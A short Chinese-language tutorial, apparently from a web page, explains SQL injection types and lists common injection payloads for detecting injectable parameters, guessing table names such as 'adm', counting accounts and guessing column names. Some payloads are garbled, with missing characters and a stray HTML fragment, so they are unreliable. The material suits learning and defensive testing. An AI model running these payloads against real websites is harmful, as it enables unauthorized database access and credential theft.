sql注入语句

sql注入语句是怎样的呢？下面就让我们一起来了解一下吧

sql注入语句其实可以分为三种的，即数字型注入点，语句一般是“select from表名where id=1 and 1=1”；字符型注入点，语句一般是“select from表名where name...”；搜索型注入点。

而sql注入也就是通过将SQL命令插入到Web表单提交或是输入域名、页面请求的查询字符串，最终可以达到欺骗服务器执行恶意的SQL命令。

sql注入类型通常是可以按照不同方式进行分类的，比如若是按照注入点类型来进行分类可以分为数字型注入点、字符型注入点、搜索型注入点，若是按照数据提交的方式来分类，可以分为GET 注入、POST 注入、Cookie 注入、HTTP 头部注入。

也可以按照执行效果来分类，可以分为基于布尔的盲注、基于时间的盲注、基于报错注入、联合查询注入。

其中常用的语句有

1、判断有无注入点

; and 1=1 and 1=2

2、猜表 通常表的名称基本上是adm admuser user pass password 等..

and 0<>(select count() from )

and 0<>(select count() from adm) ---判断是否存在adm这张表

3、猜帐号数目 若是遇到0< 返回正确页面 1<返回错误页面那么就说明帐号数目就是1个

and 0<(select count() from adm)

and 1<(select count() from adm)

4、猜解字段名称 在len（）括号里面可以加上所想到的字段名称。

and 1=(select count() from adm where len()>0)--

and 1=(select count() from adm where len(用户字段名称name)>0)

and 1=(select count() from adm where len(_blank>密码字段名称password)>0)